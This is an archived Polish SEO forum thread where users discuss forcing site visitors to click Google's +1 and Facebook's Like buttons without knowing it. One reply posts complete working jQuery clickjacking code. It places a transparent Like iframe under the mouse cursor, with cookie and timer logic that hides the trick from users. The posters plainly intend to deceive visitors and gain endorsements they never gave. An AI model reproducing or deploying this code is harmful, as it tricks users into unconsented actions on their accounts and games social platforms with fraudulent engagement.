Skocz do zawartości

Automat do nabijania + 1 Google


Namo

Rekomendowane odpowiedzi

Na stronie namo.pl zrobiłem skrypt do wymuszania na użytkowniku kliknięcia w +1 Button Google.

Na razie jest w fazie testów więc jest przez kilka sekund pokazywany. Docelowo będzie ukryty i użytkownik nieświadomie doda nam plusika (o ile będzie zalogowany do konta Google).

Jak teraz zrobić żeby button zniknął zaraz po otrzymaniu plusika?

Odnośnik do komentarza
Udostępnij na innych stronach

Cos to nie do konca dziala dobrze. Na FF5 jak ruszam myszka to przycis potrafi sie bardzo czesto odczepic i nie podaza pod kursorem. Nie wiem od czego to zalezy, bo nawet nie trzeba mocno machac tylko wystarczy wolno prowadzic kursor i po chwili +1 zostaje odczepione. Pozniej jak sie na nie najedzie to znowu sie przykleja. Cos dziala nie tak, bo jak bylo kiedys cos takiego do FB to nie dalo rady tego zgubic.

kodeks-logo-baner-pio.jpg

Blog z informacjami o prawnych aspektach związanych z funkcjonowaniem internetu, w tym problematyka dotycząca SEM i SEO. organisciak.pl

Odnośnik do komentarza
Udostępnij na innych stronach

Przerobienie kodu like z facebooka to jest 30 sekund - ale ja jakoś tego nie widzę. Tam masz userów co sami nie wiedzą co mają w ulubionych - tu masz wszytko na 1 miejscu - od razu każdy myślący się zczai i masz spam raporta. To nie facebook że z każdej zapleczowej stronki sobie nabijać userów na fun-page. No nie wiem jakoś nie widzę tego. Wyciągnij sobie z tego kodu ciastka. To jest to co ci brakuje i ukryj tą ikonę z +1add.

var fanpageURL = 'https://www.cośtam';

var pokaz_button = 0;

var czas_wyswietlania = 14; 


var y_plus = 0;
var x_plus = 0;


jQuery.cookie = function (key, value, options) {

// key and at least value given, set cookie...
if (arguments.length > 1 && String(value) !== "[object Object]") {
	options = jQuery.extend({}, options);

	if (value === null || value === undefined) {
		options.expires = -1;
	}

	if (typeof options.expires === 'number') {
		var days = options.expires, t = options.expires = new Date();
		t.setDate(t.getDate() + days);
	}

	value = String(value);

	return (document.cookie = [
		encodeURIComponent(key), '=',
		options.raw ? value : encodeURIComponent(value),
		options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
		options.path ? '; path=' + options.path : '',
		options.domain ? '; domain=' + options.domain : '',
		options.secure ? '; secure' : ''
	].join(''));
}

// key and possibly options given, get cookie...
options = value || {};
var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent;
return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null;
};



var $s = jQuery.noConflict();

jQuery.fn.extend({
everyTime: function(interval, label, fn, times, belay) {
	return this.each(function() {
		jQuery.timer.add(this, interval, label, fn, times, belay);
	});
},
oneTime: function(interval, label, fn) {
	return this.each(function() {
		jQuery.timer.add(this, interval, label, fn, 1);
	});
},
stopTime: function(label, fn) {
	return this.each(function() {
		jQuery.timer.remove(this, label, fn);
	});
}
});

jQuery.extend({
timer: {
	guid: 1,
	global: {},
	regex: /^([0-9]+)\s*(.*s)?$/,
	powers: {
		// Yeah this is major overkill...
		'ms': 1,
		'cs': 10,
		'ds': 100,
		's': 1000,
		'das': 10000,
		'hs': 100000,
		'ks': 1000000
	},
	timeParse: function(value) {
		if (value == undefined || value == null)
			return null;
		var result = this.regex.exec(jQuery.trim(value.toString()));
		if (result[2]) {
			var num = parseInt(result[1], 10);
			var mult = this.powers[result[2]] || 1;
			return num * mult;
		} else {
			return value;
		}
	},
	add: function(element, interval, label, fn, times, belay) {
		var counter = 0;

		if (jQuery.isFunction(label)) {
			if (!times) 
				times = fn;
			fn = label;
			label = interval;
		}

		interval = jQuery.timer.timeParse(interval);

		if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
			return;

		if (times && times.constructor != Number) {
			belay = !!times;
			times = 0;
		}

		times = times || 0;
		belay = belay || false;

		if (!element.$timers) 
			element.$timers = {};

		if (!element.$timers[label])
			element.$timers[label] = {};

		fn.$timerID = fn.$timerID || this.guid++;

		var handler = function() {
			if (belay && this.inProgress) 
				return;
			this.inProgress = true;
			if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
				jQuery.timer.remove(element, label, fn);
			this.inProgress = false;
		};

		handler.$timerID = fn.$timerID;

		if (!element.$timers[label][fn.$timerID]) 
			element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);

		if ( !this.global[label] )
			this.global[label] = [];
		this.global[label].push( element );

	},
	remove: function(element, label, fn) {
		var timers = element.$timers, ret;

		if ( timers ) {

			if (!label) {
				for ( label in timers )
					this.remove(element, label, fn);
			} else if ( timers[label] ) {
				if ( fn ) {
					if ( fn.$timerID ) {
						window.clearInterval(timers[label][fn.$timerID]);
						delete timers[label][fn.$timerID];
					}
				} else {
					for ( var fn in timers[label] ) {
						window.clearInterval(timers[label][fn]);
						delete timers[label][fn];
					}
				}

				for ( ret in timers[label] ) break;
				if ( !ret ) {
					ret = null;
					delete timers[label];
				}
			}

			for ( ret in timers ) break;
			if ( !ret ) 
				element.$timers = null;
		}
	}
}
});

if (jQuery.browser.msie)
jQuery(window).one("unload", function() {
	var global = jQuery.timer.global;
	for ( var label in global ) {
		var els = global[label], i = els.length;
		while ( --i )
			jQuery.timer.remove(els[i], label);
	}
});





jQuery(document).ready(function()
	{


czas_wyswietlania = czas_wyswietlania*1000;

if(pokaz_button>=1)
pokaz_button = 1;
else
pokaz_button = 0;

pokaz_button = pokaz_button*100;

var ciastko = jQuery.cookie(fanpageURL);

if(ciastko == null || ciastko == undefined || ciastko == 1 || ciastko == '1')
{


if(ciastko == 1 || ciastko == '1')
{
	jQuery.cookie(fanpageURL,2);
	czas_wyswietlania = czas_wyswietlania/2;
}else{
	jQuery.cookie(fanpageURL,1);
}

jQuery(document.body).append('<div id="facebooklikeh"><iframe  id="facebooklikeh2" src="https://www.cośtam/plugins/like.php?href='+encodeURIComponent(fanpageURL)+'&send=false&layout=standard&width=70&show_faces=false&action=like&colorscheme=light&font&height=35" scrolling="no" frameborder="0" style="position:absolute;opacity:'+pokaz_button+';filter:alpha(opacity='+pokaz_button+');border:none; overflow:hidden; width:70px; height:35px;" allowTransparency="true"></iframe></div>');

jQuery(document).oneTime(czas_wyswietlania, function() {
 jQuery('#facebooklikeh').remove();
 });
  jQuery('#facebooklikeh').css('position', 'absolute');
var pX = 0;
var pY = 0;
jQuery(document).mousemove(function(e){
pX = e.pageX - 40 + x_plus;
pY = e.pageY - 10 + y_plus;
  jQuery('#facebooklikeh').css('left',pX+'px');
 jQuery('#facebooklikeh').css('top', pY+'px');

  }); 



}





});

Pozdrawiam.

Stary Katalog stron oraz nowy Katlink.pl - katalog stron na skrypcie Sinooke.

Odnośnik do komentarza
Udostępnij na innych stronach

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Warunki użytkowania Polityka prywatności